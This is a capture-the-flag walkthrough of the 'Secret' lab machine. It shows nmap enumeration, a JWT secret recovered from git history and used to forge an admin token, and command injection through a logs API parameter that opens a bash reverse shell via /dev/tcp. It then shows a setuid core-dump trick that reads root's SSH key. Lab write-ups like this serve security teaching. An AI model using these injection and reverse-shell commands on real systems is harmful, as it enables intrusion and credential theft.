Enumeration
nmap -sC -sS -sV -F 10.10.11.120 >scan.txt
Starting Nmap 7.92 ( <https://nmap.org> ) at 2021-11-16 11:45 EET
Nmap scan report for 10.10.11.120
Host is up (0.067s latency).
Not shown: 97 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 15.18 seconds
The service at port 80 and 3000 seems the same when you visit them through the browser. It seems to be an authentication service API based on Json Web Tokens (JWT).
We can register a new user with the following request:
curl -X POST <http://10.10.11.120/api/user/register> \\
-H 'Content-Type: application/json' \\
-d '{"name": "xzebra","email":"zebra@example.com","password":"zebra1234"}'
{"user": "xzebra"}
Then login with the following:
curl -X POST <http://10.10.11.120/api/user/login> \\
-H 'Content-Type: application/json' \\
-d '{"email":"zebra@example.com","password":"zebra1234"}'
And we get the token as response.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTkzODBjOTkzODI3ODA0NTc1NjEzMDQiLCJuYW1lIjoieHplYnJhIiwiZW1haWwiOiJ6ZWJyYUBleGFtcGxlLmNvbSIsImlhdCI6MTYzNzA1Njc1NX0.u_5Ez2Ng6UkFTMMsOZNYQSK6_DsKl-dP95Z9J3sKVWk
If we add the given token to the curl headers, we can now access the /api/priv
endpoint.
curl -X GET <http://10.10.11.120/api/priv> \\
-H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTkzODBjOTkzODI3ODA0NTc1NjEzMDQiLCJuYW1lIjoieHplYnJhIiwiZW1haWwiOiJ6ZWJyYUBleGFtcGxlLmNvbSIsImlhdCI6MTYzNzA1Njc1NX0.u_5Ez2Ng6UkFTMMsOZNYQSK6_DsKl-dP95Z9J3sKVWk'
But we don’t have any permissions.
{"role":{"role":"you are normal user","desc":"xzebra"}}
Getting the foothold
At the end of the page there is a download button. It is a git repository, if
we see the logs, we can see an .env
file kept secret. We can recover the file
returning to given commit.
git checkout de0a46b5107a2f4d26e348303e76d85ae4870934
If we look at the content of .env
file, we can see the following.
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
In routes/private.js
we see the following when getting /api/priv
.
if (name == 'theadmin'){
res.json({
creds:{
role:"admin",
username:"theadmin",
desc : "welcome back admin,"
}
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
It is a hardcoded login that checks wether the JWT contains the name theadmin
.
JWT sometimes contain some session data. In this case, by reading
routes/verifytoken.js
we can confirm the user is contained in it:
const jwt = require("jsonwebtoken");
module.exports = function (req, res, next) {
const token = req.header("auth-token");
if (!token) return res.status(401).send("Access Denied");
try {
const verified = jwt.verify(token, process.env.TOKEN_SECRET);
req.user = verified;
next();
} catch (err) {
res.status(400).send("Invalid Token");
}
};
We can decrypt the JWT with some online application like https://jwt.io/. In case of my token, I can see the following:
{
"_id": "6193c72308a29d0462527318",
"name": "xzebra",
"email": "zebra@example.com",
"iat": 1637074738
}
We can change the name field to match theadmin
, then encrypt and sign again
using the token we got from the .env
file and use it to GET /api/priv
. We get
the following response:
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}%
This means we now have a JWT with admin rights (or at least how it is programmed haha).
Getting the user flag
After exploring a bit more the code, we can see there is a route /api/logs
,
which executes an unescaped git command.
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
This means we can do a command injection using the file query parameter.
In order to try this, we can try to print test
to see if it executes.
curl -G <http://10.10.11.120/api/logs> \\
-H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTkzYzcyMzA4YTI5ZDA0NjI1MjczMTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InplYnJhQGV4YW1wbGUuY29tIiwiaWF0IjoxNjM3MDc0NzM4fQ.wGnnkVqhdAph5nRRdqnqbCbHV7jx_eMwh5IgvDSYMTw' \\
--data-urlencode "file=;echo test"
"80bf34c fixed typos 🎉\\n0c75212 now we can view logs from server 😃\\nab3e953 Added the codes\\ntest\\n"
We get the test
message appended to the end. So now we can try to execute a
reverse shell.
curl -G <http://10.10.11.120/api/logs> \\
-H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTkzYzcyMzA4YTI5ZDA0NjI1MjczMTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InplYnJhQGV4YW1wbGUuY29tIiwiaWF0IjoxNjM3MDc0NzM4fQ.wGnnkVqhdAph5nRRdqnqbCbHV7jx_eMwh5IgvDSYMTw' \\
--data-urlencode "file=;/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.100/6666 0>&1'"
And we got into dasith user!
Just for convenience, we can generate a ssh key with ssh-keygen
and upload it to
~/.ssh/authorized-keys
. And then ssh into the machine with:
ssh -i key_rsa dasith@10.10.11.120
This will give us a more useful shell.
Privilege escalation
We saw some mongodb
path in the .env
file, we can try to get some credentials
from there.
mongo mongodb://127.0.0.1:27017/auth-web
Once connected, we can list the collections with:
> show collections
users
There is a users
collection, lets get the content:
> db.users.find()
{ "_id" : ObjectId("6131bf09c6c27d0b05c16691"), "name" : "theadmin", "email" : "admin@admins.com", "password" : "$2a$10$SJ8vlQEJYL2J673Xte6BNeMmhHBioLSn6/wqMz2DKjxwQzkModUei", "date" : ISODate("2021-09-03T06:22:01.581Z"), "__v" : 0 }
{ "_id" : ObjectId("6131d73387dee30378c66556"), "name" : "newuser", "email" : "root@dasith.works", "password" : "$2a$10$wnvh2al2ABafCszb9oWi/.YIXHX4RrTUiWAIVUlv2Z80lkvmlIUQW", "date" : ISODate("2021-09-03T08:05:07.991Z"), "__v" : 0 }
{ "_id" : ObjectId("613904ae8a27cb040c65de17"), "name" : "dasith", "email" : "dasiths2v2@gmail.com", "password" : "$2a$10$S/GbYplKgIU4oFdTDsr2SeOJreht3UgIA0MdT7F50EtiBy7ymzFBO", "date" : ISODate("2021-09-08T18:45:02.187Z"), "__v" : 0 }
I tried decrypting admin’s hash with hashcat resulting in a very long wait
without any success. Meanwile, I tried other privilege escalation techniques,
such as looking for sudo allowed commands with sudo -l
, but got no success.
Although, if we look for files with the setuid bit flag set:
find / -type f -perm -u=s 2>/dev/null
We get an interesting one: /opt/count
. Also, the source code is in the same
folder, in /opt/code.c
.
The executable is owned by root and has the suid
bit set, which means it will
run with root privileges until this line:
// drop privs to limit file write
setuid(getuid());
This means all the file and directory reads are performed by root. Although, no writes can be performed by root (unless executed by root).
The important part here is the PR_SET_DUMPABLE
attribute. According to the man
pages:
PR_SET_DUMPABLE (since Linux 2.3.20)
Set the state of the "dumpable" attribute, which
determines whether core dumps are produced for the calling
process upon delivery of a signal whose default behavior
is to produce a core dump.
This means if we send a signal that creates a core dump to the process while running, a core dump file will be generated. In this core dump we could see the results of reading some files with privileged access stored in the file buffer, which will be dumped.
Normally crashes are found in /var/crash, but may also be in /var/spool or /var/lib/systemd/coredump on other Linux distributions – linux-audit.com
We can try this by running the count
program from one shell and killing it from
another. We don’t have to enter a path, or the executable will try to dump the
file without permissions.
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: y
Path:
Then kill the process with a signal that generates a core dump.
dasith@secret:/opt$ ps -aux | grep count
root 854 0.0 0.1 235668 7528 ? Ssl 15:16 0:00 /usr/lib/accountsservice/accounts-daemon
dasith 40559 0.0 0.0 2488 588 pts/0 S+ 16:25 0:00 ./count
dasith 40699 0.0 0.0 6432 660 pts/6 S+ 16:26 0:00 grep --color=auto count
dasith@secret:/opt$ kill -BUS 40559
We can see in the executable shell that the core was dumped. Let’s now look for the crash report file.
dasith@secret:/var/crash$ ls -la
total 88
drwxrwxrwt 2 root root 4096 Nov 16 15:22 .
drwxr-xr-x 14 root root 4096 Aug 13 05:12 ..
-rw-r----- 1 root root 27203 Oct 6 18:01 _opt_count.0.crash
-rw-r----- 1 dasith dasith 28107 Nov 16 16:26 _opt_count.1000.crash
-rw-r----- 1 root root 24048 Oct 5 14:24 _opt_countzz.0.crash
We will unpack the most recent one (also the created by the user):
dasith@secret:/var/crash$ mkdir /tmp/count-crash
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/count-crash/
We can cat
the CoreDump
file inside the created folder and find the flag. But as
it is a binary file, it will be easier to use the strings
command:
dasith@secret:/tmp/count-crash$ strings CoreDump
This is not a full system own, so we are going to try to read ssh keys. We can
list the .ssh
folder files, and we can see there is a id_rsa
key.
dasith@secret:/tmp/count-crash$ /opt/count
Enter source file/directory name: /root/.ssh
drwx------ ..
-rw------- authorized_keys
-rw------- id_rsa
drwx------ .
-rw-r--r-- id_rsa.pub
After exploiting the crash vulnerability, we are able to retrieve the content of
the id_rsa
key. And we can ssh into root to compromise the whole system.
References
- How to read the core dumps:
prctl
function andPR_SET_DUMPABLE
: